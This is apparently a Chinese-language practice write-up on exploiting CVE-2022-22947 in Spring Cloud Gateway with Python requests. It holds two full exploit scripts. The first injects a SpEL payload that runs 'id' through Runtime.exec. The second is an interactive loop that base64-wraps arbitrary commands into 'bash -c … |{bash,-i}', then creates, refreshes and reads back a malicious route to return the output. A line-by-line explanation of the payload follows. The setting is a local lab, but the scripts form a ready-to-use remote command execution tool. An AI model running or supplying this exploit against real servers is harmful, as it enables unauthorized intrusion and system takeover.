###### tags: `網路知識` `練習` `Python` # python request的運用傳送封包 [CVE-2022-22947] 以request 來做應用 參考:https://blog.csdn.net/qq_45675449/article/details/109135625 原先以burp suite repeater 發送封包,後來嘗試自己做一個封包發送,便運用python request 來學習,而為了大量發送封包,且接續 [CVE-2022-22947]的運用,便寫了一支python 以做後續方便作業。 ## 使用request發送封包 增加header,body, 在這中間發現request會自動幫你增加content-Type及content-Length,並且運用burp suite去做驗證 ![](https://i.imgur.com/LjobYns.png) ![](https://i.imgur.com/OiLJs50.png) ## main code 下列為發送封包的主code ```python= import requests #input the data body = { "id": "timtim", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" } #input header headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "If-None-Match": "3147526947", "If-Modified-Since": "Thu, 17 Oct 2019 07:18:26 GMT", "Connection": "close", #"Content-Length": "0", #"Content-Type": "application/json" } keyword1 = "/actuator/gateway/routes/timtim" proxies = { 'http': 'http://127.0.0.1:8081', 'https': 'http://127.0.0.1:8081', } #for proxy #r= requests.post("http://0.0.0.0:8080"+keyword1,proxies = proxies,json=body) r= requests.post("http://0.0.0.0:8080"+keyword1,json=body,headers=headers) print(r.status_code,end='\n') print(r.text,end='\n') print(r.encoding,end='\n') print(r.apparent_encoding,end='\n') print(r.headers,end='\n') ``` ## 後續進階運用 既然可以送出封包了,那就在繼續接下來的步驟,把所有要傳送的封包都塞進code裡面,並且改變一下成我們想要的形式例如 1.使用BeautifulSoup回顯我們想要的東西, 2.並且弄個while迴圈可以持輸入commend 3.修改body內容以便我們後續進行滲透,下面會解釋為何修改 ```python= from re import S import requests from bs4 import BeautifulSoup import base64 import json #input the data #新增while迴圈 while(1): #input_cmd = 'ls -al' input_cmd=input("input:") cmd = input_cmd.encode('utf-8') cmd = str(base64.b64encode(cmd)) cmd = cmd.strip('b') cmd = cmd.strip("'") cmd = 'bash -c {echo,' + cmd + '}|{base64,-d}|{bash,-i}' #修改body 內容 body = { "id": "code", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\").getInputStream()))}" } }], "uri": "http://ggg.cpdd", "order": 0 } #input header headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "If-None-Match": "3147526947", "If-Modified-Since": "Thu, 17 Oct 2019 07:18:26 GMT", "Connection": "close", #"Content-Length": "0", #"Content-Type": "application/json" } target = "http://0.0.0.0:8080" keyword1 = "/actuator/gateway/routes/xxx" proxies = { 'http': 'http://127.0.0.1:8081', 'https': 'http://127.0.0.1:8081', } #for proxy #r= requests.post("http://0.0.0.0:8080"+keyword1,proxies = proxies,json=body) step1 = requests.post( target +keyword1,json=body) print("POST new routes:",step1.status_code,end='\n') # step2 refresh keyword2 = "/actuator/gateway/refresh" step2 = requests.post( target +keyword2,headers=headers) print("Refresh:",step2.status_code,end='\n') #step3 use get to check step3 = requests.get( target +keyword1,headers=headers) print("GET new routes:",step3.status_code,end='\n') soup = BeautifulSoup(step3.text,"html.parser") #print(type(soup.text)) ac= soup.text.split(",") print(ac) #exit(1) #有exit便可以只執行一次 ``` ![](https://i.imgur.com/8hfvQkv.png) ## 重點code講解 ```python= 原先的內容:"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" 後來的內容:"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\").getInputStream()))}" ``` 由於在練習練習過程中,發現到先前大老的CVE-2022-22947復現不能夠輸入空字元,或者其他符號,再後來又有一位大老新增一篇同一個CVE復現,但是他那隻程式卻可以輸入其他符號,便很好奇是在什麼情況下造成不能輸入的原因,因此有了下面的解答。 ### 原先code解釋 Linux下調用系統命令 ```java= 參考:https://www.cnblogs.com/digod/p/11194880.html String [] cmd={"/bin/sh","-c","ln -s exe1 exe2"}; Process proc =Runtime.getRuntime().exec(cmd); ``` 為了把str塞進去 ```java= exec() #執行指令 #exec(str)中不能把str完全看作命令行執行的command。 #尤其是str中不可包含重定向 ' < ' ' > ' 和管道符' | ' 。 #因此要以調用exec()的重載方法將exec()變成exec(String[] cmdarray) #也就是 exec(new String[]{\"id\"} 在變成 getRuntime().exec(new String[]{\"id\"} 參考:https://blog.csdn.net/timo1160139211/article/details/75006938 ``` 接下來是java.lang.Runtime ```java= 參考:https://blog.csdn.net/timo1160139211/article/details/75050886 將命令執行的輸入/結果或者將錯誤信息讀取出來 ``` 而T()則是T (type) 表示具體的一個java型別 ``` 參考:https://iter01.com/578027.html Java 泛型(generics)是 JDK 5 中引入的一個新特性, 泛型提供了編譯時型別安全檢測機制,該機制允許開發者在編譯時檢測到非法的型別。 T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"} ``` 再來是T(org.springframework.util.StreamUtils).copyToByteArray ```java= 參考:https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/util/StreamUtils.html 將input的東西copy成字串到再將它輸出 ``` 最後是string ```java= string 非限定Class名 java.lang.string 限定class名 非限定類名是相對於限定類名來說的,在Java中有很多類,不同的類之間會存在相同的函數或者方法,所以有時候就需要限定類名來調包。 而如果不存在相同的函數或者方法 ,就可以使用非限定類名 ``` ### 後續code的差別 後續大老參考https://github.com/chaosec2021/CVE-2022-22947-POC 在那之前那篇CVE-2022-22947,payload有.exec(new String[]{\"id\"}),為什麼只能輸入單個指令,例如ls id whoami ,如果是要ls -al ,卻還是只有ls ,這個原因是因為linux錯誤的把sting 讀進去的的時候將空格當作分隔符號,以至於空格後的文字會變成list,因此才讀不到後續的字串。 ``` ls -al string[0]= ls string[2]= -al 參考:https://blog.csdn.net/u012760435/article/details/80593314 ``` 以上便是整段程式碼的講解。